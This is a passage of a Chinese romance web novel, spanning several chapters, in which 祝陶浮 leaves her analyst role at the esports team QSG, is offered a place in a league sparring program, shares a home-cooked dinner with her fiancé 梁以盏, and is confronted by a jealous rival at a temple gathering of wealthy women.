看似有招,实则没招啊,祝陶浮心里苦笑。
知晓他们是好心,祝陶浮无奈地说:“但是,你们是不是忘了,他还有第三条路可以选,喝酒。”
第一轮开头,是祁招连喝三杯,拒绝二选一。
经他一提,大家喝懵了的大脑,后知后觉反应过来。
“对哦,忘了这小子,还留有后手!”
“算了算了,那唱歌这么简单的任务,你总得干吧?”
众人起哄笑言,祁招依旧拽得二万八五,躺靠在沙发上一动不动。
灯光忽明忽暗,他淡淡瞥眼,看向祝陶浮。
然后懒散站起身,拎起桌面酒杯,倒酒。
“哎哟!又赖!玩不起啊祁队?”
一片叹气声里,祁招长腿一迈,居高临下地开口。
“不是玩不起,是不玩。”酒液摇晃,喉结滚动,晦暗灯光勾勒他不羁而落拓的侧颜。
三杯酒一饮而尽,唇色沾了酒的湿润欲色,眼底却是一片清明。
眼神若有似无,落向对面,他懒懒道:“留着以后吧。”——
国内
联赛的冠军,作为一号种子,锁定世界赛名额,QSG进入短暂休假模式。
之前微信定好,祝陶浮便约上许若歆,在洲安一家烤肉店吃饭。
开心庆祝来之不易的胜利,诉说当天的紧张与辛苦,许若歆心直口快,问出了一直以来想问的问题。
“小桃桃,有考虑,后面留在QSG吗?”她问。
“我绝对不戴粉丝滤镜,作为一个极为客观的观众,我觉得你bp真做的挺好的,lpl赛训很久没有新鲜血液了。
几乎没有任何犹豫,祝陶浮舀了一勺芝士玉米,说:“没有这个打算。”
“为什么,你对电竞感兴趣,做得不错,QSG氛围也很好,没有那么多乱七八糟的事情,你真的不继续吗?”许若歆不解,追问道。
冲她轻浅地笑了一下,祝陶浮说:“现在版本更新快,战术玩法多,你知道的,我不是特别想卷的人,就还是回栖梧,随便找份工作,过摆烂的日子吧。”
回忆起什么,许若歆叹了口气。
“你当然不是卷的性格,当初保研综测需要提分,明明专业课排名在前,但那些活动你一个都不参加,公示名单最后没有你。”
“可你又没完全躺平,考研考本校那是手到擒来,你偏偏又要去栖梧唯二的985之一。”
祝陶浮:“我母亲的愿望,所以我很想去啦。”
用镊子将烤好的牛肉,夹在祝陶浮的盘子里,许若歆才给自己碗里放了两块,大口吃起来。
“我知道,你之前也是这么说。”
“那你现在呢,总得为你自己活吧。”当她是听家里话的乖乖女,许若歆还在苦口婆心地劝说。
“小桃桃,你搞电竞的状态,跟你那种平时淡淡的茫然,真的不太一样。”许若歆分析,头头是道。
“而且你跟电竞的适配性,矛盾又不矛盾:电竞电竞,竞技争得你死我活,你这个淡人身处其中,理应卷得渣都不剩,可你就像夹缝中的小草,竟然长得还挺好。”
“你之前说过,在哪里都是混日子,你又不担心其他人思考的那些脏简历、前途发展等等问题,何不让自己开心一点呢?”
她说得口干舌燥,坐对面的祝陶浮,及时给她倒了一杯清酒解渴。
“我知道,小歆歆你是为我好。”她眉眼弯弯,如平日里温和。
“就辛苦你,待会儿陪我,给分析师的小宝贝,买点小礼物了。”——
下午逛街的时候,许若歆临时被叫回去加班,她有些不好意思:“哎,每次约好结果不是这就是那,而且还是你请客,下次一定得是我!”
上班不似上学,工作以后大家各奔东西,各有各的匆忙,能够说约就约,已实属不易。祝陶浮表示没事,相聚就很满足。
天色尚未完全昏暗,祝陶浮已到家,这是一个月来,返回最早的一次。
按照以往梁以盏接她下班的时间,她觉得他肯定没回来。
然而门锁人脸识别,甫一打开,客厅靠窗的落地灯幽幽亮着。
梁以盏偏撑着侧脸,慵懒地翻阅膝盖上的财经杂志。
听到动静,淡淡抬眸,看向门口。
“回来了。”
怔了怔,祝陶浮才慢慢点头。
手里提着的礼袋,发出窸窸窣窣的声响,上面清晰印着品牌logo,底下缀着“母婴用品”的备注。
随意将杂志丢在一边,梁以盏起身,缓慢踱步至她身侧。
发现他的视线落在自己右手的袋子上,祝陶浮闲聊似的询问。
“怎么了,你是对这方面感兴趣?”
长而密的眼睫,在暖光映照下投射冷淡阴翳。
梁以盏声线平平,仿佛置身之外般疏离冷漠。
“我不想要孩子。”
第32章 神厨小茶茶
管生不管养, 在豪门圈屡见不鲜。
祝陶浮自身,就是这句话的证明。
但是不要孩子,几乎没有。
在梁以盏这个年纪, 属于大逆不道了。
下午在逛街的时候,母婴店里陈列着各式各样可爱迷你的小玩意, 柔和的氛围灯和空气里若有若无的干净爽肤粉清香,令人不自觉地沉浸在放松亲昵的情绪里。
“哎呀, 你说这些小东西这么可爱,弄得我都心动想养一个了。”婴儿穿的衣服绵柔小巧,抚摸上去的触感心头一软, 许若歆本能地发出感慨。
正在挑选安抚玩具,祝陶浮头也未抬,提醒道:“你可以看看标签价格,冷静一下。”
两人所处的是一家中高档次的店铺, 许若歆拿出一套五条装的口水巾,翻过背面看价格。
“卧槽, 这啥啊就要将近一千块, 我身上裙子都没这贵!”看着娴静的美女爆了声粗口,祝陶浮悄悄地扯了扯她的下摆,示意她小点声。
店里跟在她们身后的服务员,冲着她们翻了个不加掩饰的白眼。
许若歆:……
不死心地往前,她又查看前方的一辆小孩坐的玩具车。
一万多, 自己转地铁的小电驴,都还没这一半贵。
旁边另一辆空间稍大一点的小轿车,价格于此翻了一倍。
紧挨着的一辆,外形没什么变化,颜色更酷炫, 价格再次乘以二。
“我不理解,这不是一模一样的,为什么这个两万多,那一辆就要五万?”没忍住内心的吐槽,许若歆询问进店后一路跟着的服务员。
脸上挂着标准却冷漠的微笑,服务员轻声细语地解释:“因为这一辆的颜色是普通款,另一辆的颜色是我们今年的限定款呢。”
“小孩坐的玩具车还分什么普通和限定?!!!这又不是什么真正开在马路上的车,颜色不一样,价格也不至于翻倍吧。”许若歆震惊,直言直语。
随后又一指另一边,迷你包装的婴儿沐浴油,她说:“那既然你们这车按照大人开的车,颜色区分价格,怎么这么少的沐浴油就要四位开头,我平时一大瓶才两位数哦。”
用看白痴的目光,瞧着许若歆,服务员是连解释都懒得给了。
“诶,行了行了,咱们去结账。”拉着她的手,祝陶浮无奈地将人拽离现场,去往收银台。
兜里的钱也不够买上什么大物件,祝陶浮挑了一个巴掌大小的安抚玩具,和一个宝宝辅食碗,便结束购物。
在网上搜索,看网友们推荐这个牌子很不错,就是价格不太友好。
来之前祝陶浮给许若歆简单科普,打过预防针,架不住后者依旧瞪眼破大防。
“虽然刚刚我母性泛滥了一下,还好金钱冷冰冰地帮我止住了。”从店里走出来,许若歆感叹。
“现在养小孩的成本也太高了吧,我们小时候都过家家那些小玩意,几十块钱就解决了,上百块算顶顶好了,其他小朋友都得馋哭。”
商场里的玻璃橱窗,折射出冰冷金色的光芒,既吸引着路人向往的目光,也用浓烈高级的香氛,与普罗大众拉开距离,可望而不可及。
“你看,网上其他牌子就没那么贵……好吧,大部分还是跟成人价格差不多,有过之而无不及。”
拿出手机搜索别的网店价格,许若歆喃喃自语。
“衣食住行,竟然比我还要昂贵精致。”
“你这是最基本的,还没包括,那些各种各样的补习班,兴趣班等等费用。”无奈出声,祝陶浮看了她一眼。
长长地叹了一口气,许若歆颇为惆怅。
“唉,咱们这种牛马,能把自己养活就够累了,养孩子这种事情,还是交给有钱人。”
按照许若歆的说法,有钱人不会为生计发愁,想养就养,所以豪门圈子里才搞出那么多私生子的纠纷。
可作为梁氏集团的掌权人,先不论生养孩子多么轻而易举,客观现实
层面,家族企业总得有人继承。
一时间,祝陶浮不清楚他什么含义,更不知道怎么接话。
落地窗外夕阳将沉未沉,庭院里的花草在晚风里摇曳,在偌大寂静的客厅投下婆娑剪影,柔和了站立其中,颀长清冷的身形。
“嗯……可能是你现在的想法吧,以后就不会这样了。”
话一出口,祝陶浮顿觉,听着有些耳熟。
都是祝峥害的,天天被他催婚,自己说话也染上了他的毛病,成了施加催婚的人。
本意仅仅是打破两人相对无言的寂静,但说出去的话,泼出去的水,好像气氛温度更降了一点。
“我不会变,以后也不会想要。”语气稀疏平常,似乎聊得不是什么大事,梁以盏漫不经心道。
落日余晖斜斜映照,落在沉灰色瞳珠里,溅起微不可察的亮光。
向来清冷低沉的声线,似乎也熔于流淌的暖金色里,慵懒而平和。
“但至于到底要不要的,还得看人。”
眼睫微耷,视线若有实质凝落在眼前人身上。
祝陶浮眨了眨眼,并未接收到信号。
感觉到对方微凉指尖,沾染沐浴后未褪的潮湿水汽,轻轻划过自己刚从外面回来、略显燥热的掌心。
绸质浴袍松懒系在腰间,颀长清冷的身姿稍稍俯身,半湿发尾水珠滴落,顺着敞开领口,缓缓淌过侧颈、锁骨,往下是筋脉起伏的胸膛,肌肉线条轮廓分明,然后没入更深处……
凛冽沉稳气息,交织着蒸腾体温,将散未散勾勒神秘诱惑的荷尔蒙。
默默别过眼,祝陶浮悄悄后退一小步。
身前之人却上前,修长带着薄茧的手指,强行探寻开她紧攥掌心。
秀眉微蹙,祝陶浮忍耐着说:“你……”
将将吐出一个音节,那股侵略性极强的压迫感,随着他重新站直身体,渐渐消散些许。
似是低低地在她耳边轻笑了声,气息洒在白皙耳垂,微红生氧,祝陶浮手里一空,梁以盏自然地接过她手里的袋子,转身往里走。
“你都说了是以后,现在,择日不如撞日,你答应的庆功宴,来吧。”
慢半拍地回过神来,祝陶浮赶紧追了过去:“……现在?可是我还没订好餐厅?”
在她的计划里,请梁以盏吃饭,得挑个日子,毕竟他是大忙人。
也得选个仔细选个餐厅,什么好吃的他没品尝过。
一切来得突然仓促,竟然就敲定在此时此地。
跟着梁以盏一路来到厨房,祝陶浮踟蹰道:“是我请你,这样不太好吧……”
话音未落,他懒散地瞥过来,不甚在意:“所以,你来给我打下手,抵了。”
说是给他帮忙,基本上是梁以盏制作,祝陶浮围观,简单地帮忙递个调料、端个盘子。
菜系也不复杂,均为家常菜,打得是安全牌。
繁琐的山珍海味,日理万机的梁董就算做了,祝陶浮也不敢吃。
毕竟,他既没时间研究菜谱,也从小在国外长大,水土不服。
高中两人租住在一起时,他连最普通的白粥都煮不明白。
某次祝陶浮感冒,夜晚暴雨,外卖迟迟不至,以至于从未开火过的厨房,难得燃起灶火。
临时在附近超市买了些菜和佐料,梁以盏卷起衣袖,下厨做饭。
然而炒出来的菜,不是生的,就是糊的,醋放多了,盐放少了……
甚至最基本的电饭煲煮饭,勺子舀出来一勺开水,外加夹生米。
于是梁以盏默默将碗,从祝陶浮面前挪走。
这一口要是喝下去,病情不是好转,多半会是斗转急下。
因此,望着最后呈现在桌上,色香俱全,祝陶浮惊讶道:“你什么时候手艺这么精湛了。”
味不知道,还得一尝。
如果不是她全程参与,她都要怀疑是不是厨师做好后,梁以盏替换的。
斜睨了她一眼,梁以盏嗤了声:“瞧不起谁,不敢试毒?”
先挑了块糖醋排骨,祝陶浮做好了半生不熟的准备,结果咬下去,酸甜可口,没有半分不适。
然后依次尝试了香煎羊排、清蒸大闸蟹、响油鳝丝……
抬眸望向对面,梁以盏被她看得有些莫名。
“又怎么了。”他说。
停顿片刻,祝陶浮认真询问:“你之前在国外,过得很辛苦吧。”
梁以盏:?
记忆里,在格兰佩高中,是他最狼狈的时候,但也没看见他去后厨端盘子、打杂之类。
只是的确很辛苦,他早出晚归,两人同住屋檐下,除了在地铁口接送,几乎是两条平行线,不与相交。
遂打消念头,祝陶浮想了想,继续分析:“或者,你兼修了一门厨艺课程?听学姐说,她之前有朋友在国外,就是……”
“别之前了。”梁以盏径直打断,语气里难得压了些不易察觉的无奈。
沉灰眼眸瞥看向她,他懒洋洋道:“就现在。”
现在吗……
祝陶浮看着他,那现在,眼前,不是国外,在国内……
她点了点头,坦诚表示:“哦,那就是眼前这位——”
梁以盏:“嗯?”
祝陶浮:“神厨小茶茶。”
梁以盏:……
第33章 影子计划
拖拖拉拉几天, QSG这顿庆功宴终于姗姗来迟。
倒不是俱乐部不愿意组这个局,而是QSG本身自带流量,加上夺冠带来的热度, 各种物料宣传片拍完,还有队员忙于各自事物, 很难时间一致。
休息的这几日里,祝陶浮也没闲着。
上午整理论文, 下午坐地铁去祝峥公司看报表。
依旧是乘坐他的私人电梯,秘书引领没有外人察觉,祝陶浮来到总裁办。
见她果真是决赛结束, 便不再呆在QSG,祝峥心里放心了许多。
“早就说了,梁以盏跟他那两兄长斗得水深火热,你少掺和进去。”
“不过, 可总算听了一回话,没有再跟祁招往来。”
离开QSG, 返回洲安, 原本就是计划中的事情。
祝峥要这样认为,理由如上。
她也不多搭理,埋头分析数据,随便他去。
话音转换,祝峥满意尚未几分钟, 懒散躺在沙发上,又开始挑刺祝陶浮。
罗里吧嗦一大通,核心思想归结为一句话—
“虽然你断了跟祁招的联系,但与梁以盏的进度平平,还是得加把劲啊。”
过往的某个同月数据汇总完毕, 祝陶浮喝水的空隙,冷静回复。
“感情不是工作,努力不等于业绩。”
末了,她端着茶杯,看向祝峥:“要是有用,你犯得着抓我当苦工?”
字字句句,皆属事实,祝峥“你”了半天,没有下文。
他张了张嘴,指着祝陶浮,想说什么。
最后手指动作变成挥了挥手,望着窗外夕阳,英俊眉眼间流露出一丝沧桑。
祝陶浮不想理这个戏精,果断收拾东西,准备背包走人。
方才还躺在沙发上,见她已经背着书包站起来,祝峥再也躺不平,迅速起身,快步来到她身前,拦住去路。
“等等,今天你这么早就走了?”
祝峥疑惑,祝陶浮更不解。
“不然呢,你叫我来得时候,跟你说了,晚上有事。”
晚上是QSG庆功宴,祝陶浮没有说得具体,否则祝峥又要絮絮叨叨。
经她一提,祝峥昨晚应酬,宿醉后的大脑,才迟钝地反应过来。
“行吧,那我送你。”
“以及,既然QSG放假了,后天有个圈内千金们的聚会,到时候我载你过去。”
餐厅离此处不算太远,也就三站距离。祝陶浮到达时间,卡得刚刚好。
偌大宽敞包厢洋溢着胜利的欢声笑语,祝陶浮不喝
酒,果汁代替与他们碰杯。
“诶,小祝,你真的挺厉害的,要不要考虑加入我们。”
第一次见到这个女孩,经理觉得可能是一时的惊艳,而非细水长流。
没想到祝陶浮并没有流于短暂艳俗,反而沉默地如同一棵树,在无人知晓的地方悄然扎根生长,直至枝繁叶茂。
“绝对不是画饼,给你涨薪,工资好商量。”
这番话经理此前有所提及,赛训组一正一副教练和监督,外加包括祝陶浮在内的两名分析师,赛训组不算少,但也不是联盟里最多的。
多一个人多一份力量,更何况祝陶浮是实实在在出力,QSG家大业大自然会给予丰厚奖励。
但祝陶浮拒绝了,说是后面要回栖梧忙毕业论文,没空继续研究游戏版本。
现在酒桌上再次谈论,祝陶浮还是一样的回答。
“好吧,山高水长,总有相聚的那一天,以后说不定会再见的。”经理点头,理解她的委婉拒绝。
将杯中的酒倒满,他站起身,吩咐大家。
“来,咱们一起,敬小祝分析师,感谢她这一个多月以来的辛苦付出,祝她前程似锦,一切顺利!”
话音刚落,所有人站起身,齐齐道谢。
然后是从教练组到队员们,分别一声接一声,表达真挚感谢与恋恋不舍地再见,祝陶浮一一礼貌客气回应。
自家聚餐没有严格主次座序,祁招坐在她的左手边。
到他的时候,祁招没有站起来,懒散靠坐着座位,勾着高脚杯底,象征性地随意碰了一下祝陶浮的酒杯。
“我就不多说了,总之一定会再见的。”
所有人表达完离别愁绪,酒劲上来开始东扯西拉。
祁招既没上脸,意识尚且清醒,望着喝醉酒滑稽的众人,他嗤笑了声。
声线散漫低沉,音量只有他们彼此才能听到。
不着痕迹地身子往她的方向倚靠,祁招偏头气息里蕴含酒意的微醺。
“毕竟,你舍不得。”
众人哄笑声里,祝陶浮眼底一片清明,望向祁招的眼眸有些莫名。
“舍不得什么?”
祁招微勾起唇,懒懒吐词:“你回去了,不就跟你那位成异地恋了。”
祝陶浮:……
“我没有……”
“不用急着否认。”他笑了笑,眼神不羁而略显意味深长。
“善意提醒,根据我的经验,异地恋,不会长久的。”
返回QSG基地收拾东西,工位上是队员们送给祝陶浮的一些小礼品,和QSG官方周边,她同样回赠以小礼物给他们。
将背包里给分析师的小孩,带来的婴儿用品礼袋,拿出来放在工位上。
又把桌子上那些小礼物,小心翼翼地收好,放回背包。
队员们尚在休息,经理和队长在训练室送送她。
她提着礼袋,拿给祁招,让他帮忙转交给分析师。
指腹带有长年累月训练的薄茧,与纤细柔荑轻擦而过,祁招勾过礼袋,随意地丢在桌上。
“说说吧,我不信以后你绝不会再入这行。”
神情是一贯懒散,放松地倚靠在电竞桌,眼神却锋锐瞥向眼前人,似是要看穿她的内心。
眼睑半垂,祝陶浮思索片刻,复又抬眸说:“应该吧,至少当下不会再来了。”
了然点头,祁招没再多言,目光侧望向站在一旁的经理。
经理拿出一份资料,递给祝陶浮。
虽然有些莫名,她还是接过来,打开翻看。
影子计划。
封面简易,四个大字顾名思义,祝陶浮猜测了个七七八八,低头认真从头到尾阅读。
直至最后一行末尾结束,她确认自己估摸的情况没有错,心下有了答案。
经理轻咳两声,尽量让自己话语在稍显严肃中,不失轻松。
“是这样,这几年lpl在世界赛的成绩,总是不太理想。”
经理此话所言非虚,近年来lpl在世界赛的成绩总是不尽人意,每每到关键时刻,永远差一口气。
随着全局bp机制的改动,bo5变得愈发复杂,往往lpl的队伍一到第五局变回一碰就碎、顷刻崩塌。
以往,陪练队伍只会是世界赛在国内主场的情况下,联盟官方出面组建陪练队伍。
但最近lpl在世界赛的表现令人堪忧,努力是努力了,苦也吃了,奈何始终如同一拳打在棉花上。
不得章法,使不出劲。
于是今年,即便主场在国外,联盟官方依旧组建一支陪练战队,与出征世界赛的四支lpl队伍进行交手训练。
在世界赛上,赛程越是靠后,越难约到训练赛。
世界赛输了的队伍一般没心情直接放假,还在场上赢了的队伍则是在训练赛里有所保留,生怕战术泄露导致在真正的比赛时被对手看破一泻千里。
甚至大部分战队,到最后都是固定一支队伍,而不会再彼此间进行约定训练赛的举动。
鉴于现实迫在眉睫,官方便主动发起邀约,组建陪练战队。
这支队伍的队员不会强迫征用,出于自愿报名,但是在整个世界赛期间不会对外公布,保留神秘感与隐藏性,令外赛区的队伍无法提前考究,造成迷惑对方的目的。
说起来简单轻松,实施起来却颇具难度,因为陪练是吃力不讨好的。
本身没有进世界赛,陪着那些光芒四射站在舞台上的选手们练习,自己只能在台下暗无天日的训练室日复一日,这种心情不亚于坐冷板凳替补。
其次,陪练出效果,外界不会认为是陪练团的功劳,只会认为是胜利方的战队厉害。
可若是失败,这口锅则会扣在陪练团头上。
“训练强度不够”“菜逼越连越菜”“怪不得只配看饮水机”……
再加上按照自愿报名的原则,联盟不会发放工资,可训练按照正常作息高强度昼夜颠倒,还得配合国外作息,不少选手望而却步。
可以放假休息,何必自讨没趣,折腾一番不仅落不到一点好处,反而惹出一脑门官司。
尽管如此,仍然会有少部分前辈,出于赛区责任,或是游戏热爱,加入陪练队伍。
大部分成员,是来自排名靠后的小将们。
除了与前辈们一样的原因,也各有各的打算。
千里马常有,伯乐不常有。
很多人不是缺乏实力,而是缺乏一个磨砺的平台,需要一次被看见的机会。
参加陪练的队员,在新赛季到来的转会期,可以获得加入排名靠前的强队资格。
不过也仅仅是资格,强队基本是明星选手和老牌搭档,再加上续约,寥寥无几能够收到心仪战队的offer。
但总归是个机会,能与前辈们交流经验,提升自我,也算一桩幸事。
经理询问祝陶浮的意见,要不要考虑加入影子计划。
“陪练团的赛训组人挺多,主教练定了,剩下在家的都会或多或少地参与其中,所以你压力不用太大,依然作为分析师,还不用到现场,线上参与bp就行。”教练询问。
“有兴趣考虑一下吗?”
沉默半晌,祝陶浮陷入思索。
“以及,官方不发工资。”经理笑眯眯地补充,拍了拍祁招的肩膀,对方一脸嫌弃地将他手挪开。
“我们祁队长,给你发。”他补充道。
“不会占用你太多时间,还能有钱拿,何乐而不为呢?”
第34章 失去判断
豪门圈内见多识广、玩法多样, 早些年玩得花,怎么刺激怎么来。
最近天气炎热,加上圈子里迷信玄学的风气日渐浓厚, 祝峥所说的千金贵妇们的下午茶,不在私人会所或是顶级参宴, 而是在洲安一家非常出名的寺院,进行参拜礼佛。
一些香火没有那么旺盛的寺院道观, 如中元节梁以盏和祝陶浮所去的清心观,里面的设施布置没有作过多的细分,客堂面向普罗大众。
而迦奉禅寺历史悠久, 占地面积宏广,洲安有三处分院,祝峥送她过去是鲜少对外的地方。
往来宾客,大多是权贵阶层, 由僧人引领前往客堂。
从早上八点进入寺院,到中午吃斋饭, 半天的时间安排, 一点没有比赛程轻松,念经祈福的每
一个时间点,严格按照发放的表单手册安排。
其他女人经常隔三岔五,相聚于此进行朝拜交流,祝陶浮第一次来此, 她们以为她会表现得格格不入。
出于她背后身份的忌惮,某些旁观者好心提醒她礼佛细节。
“祝小姐,待会儿跪拜的手势,殿里的示意图不是特别清楚,你看看, 有没有什么不懂的,我可以告诉你。”
一道轻柔微笑的声音,落在耳侧,祝陶浮望过去,来人浅笑盈盈,身着碧色长衫长裤,走起路来古风典雅,给人以江南水乡的温柔美丽。
来之前祝峥希望她也能是类似打扮,祝陶浮依旧是一切从简,t恤长裤,只不过从网购的便宜货换成了奢牌。
不撑起表面功夫,祝峥又得叨叨着押解她换掉。
微笑着看了她一眼,祝陶浮伸出双手比划。
“我知道,需要结印,是这样。”
说完,她手上比出一个标准的从额头到心口的姿势。
女人微愣,冲她笑笑。
“想不到祝小姐年纪轻轻,应该是我们在座的人里面,年龄最小的,对这方面的研究,却是不输于我们。”
祝陶浮谦虚道:“没有,只是以前碰巧看到过,就记下来了。”
小时候在洲安的道观,住持和另一处的寺院方丈,来往友好。
道观与寺庙分布在水平对角线,住持几乎一天到晚云游在外,很少在道观常住。
道观小而偏僻,香客稀少,不用花费过多精力打理,住持偶尔回来时,会带上师兄师姐,以及由于周末两天时间太紧凑、节假日学业才有空的祝陶浮,去寺庙拜访。
辗转公交车与地铁,到达寺庙时已然是夜晚。
方丈把少有的双人客房,就给他们一行四人。
那时候方丈和师兄一间,祝陶浮和师姐一间房。
所以她道家和佛家的知识,算是能略懂一二。
“对了,怎么称呼您。”她问。
女人笑意未改,调皮地冲她一眨眼:“不用叫您,太显老了,我可只比你年长三岁而已,就叫我本名姜宛。”
中午斋堂用餐,祝陶浮她们一干人等,没有在厅堂,而是各自在一个个包厢内入座。
订婚这么长时间,从未见祝陶浮参加此类活动,她和梁以盏的形婚,大家心知肚明。
无风不起浪,再加上最近与朱舒漫的一些绯闻,她们谨慎为上,与祝陶浮谨慎地保持距离。
因此房间面积最小的包间,祝陶浮一个人进去,风景不算最佳,倒也乐得清静。
无人同往,方才主动搭讪结交的温柔女生,主动坐在她的对面。
见她推开走廊尽头的包厢,其他女人们招呼道。
“姜宛,你不跟我们一起吗?”
她在十来人的小团体里,人缘似乎不错,方才礼佛的时候,祝陶浮观察过,其他人对她比较客气,平时也会有所往来。
细柔手指温婉抬起,姜宛柔和地说:“不了,今天我与祝小姐共进午餐。”
然后她看向对着窗外锦鲤池塘放空的祝陶浮,弯了弯眉眼道:“不介意我和你一起吧?”
祝陶浮回神,欣然同意。
就在她准备落座时,砰地一声,一个打扮靓丽、明显与寺院静雅氛围不符的女生,将小羊皮包砸在楠木方桌上,硬生生挤在祝陶浮前面落座。
而原本位置上的姜宛,摇了摇头,好脾气地往旁边挪了个位置。
于是她们二人坐在对面,彼此相隔。
低头拨弄手机,祝陶浮抬眸看了一眼来人,并未多言,继续一手划开屏幕,一手平静地端着桌上药茶。
“这些年来,祝小姐向来不涉足寺庙之地,怎么今天有空赏脸,跟我们这些姐妹,一起来礼佛啊。”
女生年纪和祝陶浮差不多大,前者五官远不如后者精致惊艳,但人靠衣装,在精心描画的淡妆与剪裁精良的曳地长裙衬托下,长相算得上清秀可人。
但语气冲动,明显来意不善,唯一的那一丝恬淡可爱,就变成可恶了。
“莫不是亏心事做多了,赎罪来了吧。”
“芷晴,慎言,你第一次见祝小姐,怎么这么大的火气。”姜宛皱眉,呵斥她言语间的不敬。
“要言行谨慎地不是我,而是她,姜宛,你就别好心地劝和了。”
“祝小姐,你现在好歹顶着梁董的未婚妻头衔,你如果还想出轨,勾搭别的男人,你就不怕他知道,不要你了吗。”
用词直接大胆,难听且刻薄。
室内寂静无声,清风卷起一片落叶,缓缓飘落窗沿。
没有预想中的慌乱无措,祝陶浮自始至终表现得很平静,仿佛局外人一样置身事外。
令原本来势汹汹者,反倒有几分莫名的尴尬与难堪。
“所以呢,你是知道什么。”祝陶浮笑了一下,眼珠黝黑清澈,无波无澜,像是能反射映照人心。
“要不要,我帮你发给他。”
午后阳光透过苍天古树,斜斜映照进窗棂。空气里弥漫铜炉的香灰气,空旷禅寺回荡隐约木鱼声响,悠远而宁静。
包厢门从外面打开,斋堂里的工作人员将午餐陆陆续续呈递桌面。
全都是素菜,但并不清汤寡水,每一道都制作得如同平日里的菜肴:五香牛肉、松鼠桂鱼、酱香鸭……
基本都是豆制品和香菇混合而成,吃起来不像外面的一些素菜馆那么重油重盐,味道健康、自然清新。
对面的姜宛和乔芷晴,面面相觑,犹豫着没有动筷。祝陶浮当没有看见,自顾自地开始吃起来。
她吃得不紧不慢,相貌赏心悦目,令旁观者颇有食欲。
为了拍戏上镜,乔芷晴节食减肥,本就心情糟糕,看到祝陶浮对于她的质问置之不理,吃得还优哉游哉,心里更是来气。
美甲扣在桌面,她脸色变得很不好看,正准备要说什么,姜宛在旁边按住她作弄的手指,给了她一个安抚性的眼神,示意不要冲动。
“抱歉,祝小姐。”施施然开口,姜宛柔声细语地道歉:“芷晴她最近接的一部剧,角色火气有点大,还没出戏呢,你多多担待,别见怪啊。”
在来禅寺的路上,祝峥简单闲聊过,此行主要是为了过几天的庄园聚会,提前跟前往的女宾们打个照面。
尽管私人聚会不是正式晚宴,但若祝陶浮还像上次聚餐时那样一头雾水,那上次梁以盏接她返回就白折腾了,外人眼里订婚破裂的痕迹会越来假,名存实亡。
顾念着是祈福,祝陶浮没有过多抵抗,随便他去,也听他科普了宾客一二。
其中有一位叫姜宛的女子,堪称豪门圈内标准模板。
是祝峥希望祝陶浮的模样,奈何这丫头与姜宛截然相反。
家世显赫,从小到大在亲人安排下乖乖成长,然后联姻嫁人。
既巩固了家族,还收获了商界利益里难得的一点爱情。
夫家对她很好,与另一半相敬如宾,二十多年的人生,一直是顺风顺水,令其他千金贵妇们艳羡不已,常与她联络交好。
可能是生活从来没有什么波折,性格如长相一般温和没有攻击性,祝峥提醒要是在寺院里无人同往,可以跟姜宛攀谈,她不会拒绝出现尴尬局面。
果然如祝峥所言,即使当下面对祝陶浮沉默不语、乔芷晴火冒三丈,她温柔依旧,笑意未改。
拎起桌上茶壶,准备给祝陶浮的杯子里续茶。
轻轻将杯子往旁边挪了一下,避开对方温柔殷切的手指,祝陶浮恍若未闻,继续低头认真吃着碗里的菜肴。
如果直面怒怼,与她们相冲,或是犹豫害怕,从小浸淫在豪门斡旋里的两位千金,会觉得挺好拿捏。
反倒是不闻不问的态度,挑不出毛病,令人难以揣摩下手。
何况,她毕竟是顶着梁氏集团掌权人的未婚妻名头,就算不巴结,也不敢使绊子。
要换以往,乔芷晴早就一杯茶泼人
脸上去了,哪里只会将包重重仍在桌面,忍气吞声共处一室。
说话也不能泄愤地痛骂,拐弯抹角阴阳怪气。
偏偏不知道眼前这位是真不明白,还是听懂了仗着与梁以盏有关系才有恃无恐,祝陶浮表现得很平静,甚至直截了当地反将一军,主动直面她的意图。
嘴上说说实际并不会这么去做,就算乔芷晴所认为的事情的确属实,她也没胆子去找梁以盏核实。
说不定,彼此都是玩玩而已,冒然打搅对方,只不过徒惹是非。
乔芷晴是虚张声势,但祝陶浮神情平静,没有一丝波动。
如果自己拿出什么,她是真的会去找梁以盏。
望向对面,那张明艳四射却又异常清冷的容颜,乔芷晴心里扭曲,这副好皮囊是自己的就好了,却配了祝家私生女这样一个廉价低贱的身份。
一忍再忍,姜宛在桌下轻扯她裙摆,让她说两句话给个台阶下。
“……是我失言,还请祝小姐不要往心里去。”干巴巴地蹦出这么一句,没有任何感情的道歉标准开头,乔芷晴忍气吞声地说。
“是我太着急,也太喜欢祁招了,所以才一时失去判断。”话语到这里,乔芷晴眼神狠狠地盯着她,半是试探地阐明来由。
第35章 孤魂野鬼
“听说QSG新来了一个分析师, 长得非常漂亮,没有对外公布,所以才急匆匆赶来一见。”
午后的空气安静清新, 浮动着古木沉香。
乔芷晴妆容精致得体,声音却略显浮躁不安。
似乎没怎么将她的解释放在心上, 祝陶浮吃了一块罗汉酥,淡淡道:“我已离职。”
意思已经很明显, 与我无关,是乔芷晴没事找事。
既然已经摸清楚祝陶浮是新来的分析师,她自然也知道离职一事。
但她就是气不过, 不管祝陶浮与祁招之间有还是没有,不允许有这么漂亮的女生在他面前晃悠。
何况还是整天泡在训练室里,朝夕相处,谁能料到会发生什么。
上次祁招冷漠断联, 着实伤透她的心。
她不去找祁招,总要有一个发泄口。
见祝陶浮表现得尤为平静, 始终平淡地吃着菜肴, 乔芷晴摸不清她什么意思,索性果断从包里翻出一张名片,递了过去。
“祝小姐是聪明人,祁家现在跟梁大少爷和二少爷,商业往来颇为密切, 我此番拍戏中途、抽空过来的目的,是为你、也为了梁董考虑,就算离职了,以后也最好不要再去QSG。”
递过来的是电竞群除QSG以外的另一家豪门战队,上面印有经理的联系方式。
“这一家我已经打点好关系, 你要去直接打他电话。”
聊了半晌,一直平静以对,看上去没什么情绪的祝陶浮,终于堪堪显露出一点表情。
微阳斜映入窗,瓷白肌肤在光线下莹莹流动,明媚而艳丽。
但祝陶浮忽而轻笑了一下,笑意不达眼底,浮动着雨燥热天气相反的薄凉冷清。
“这么好的机会,你还是留给需要的人才,谢谢你为我考虑,就我个人而言是不必了。”
没有任何考核直接加入队伍,砸钱塞人这一套带到电竞里,祝陶浮十分反感,不欲与她多言。
“另外,你要是为梁董考虑,我就不传达了,你亲自和他讲。”
说完,她站起身,先行离开,前往藏经阁——
下午的祈福安排是抄经文与描摹佛像,其他一些豪门千金贵妇们,是用钢笔或者中性笔抄誊,结束之后交由师父日后统一祝祷。
由于使用毛笔描画,祝陶浮写起来速度会慢上不少。
身边的人渐渐离开,一出门口便长舒一口气,开始有说有笑,谈论晚上去哪里做美容放松一下,祝陶浮还在原位,一笔一划认真书写。
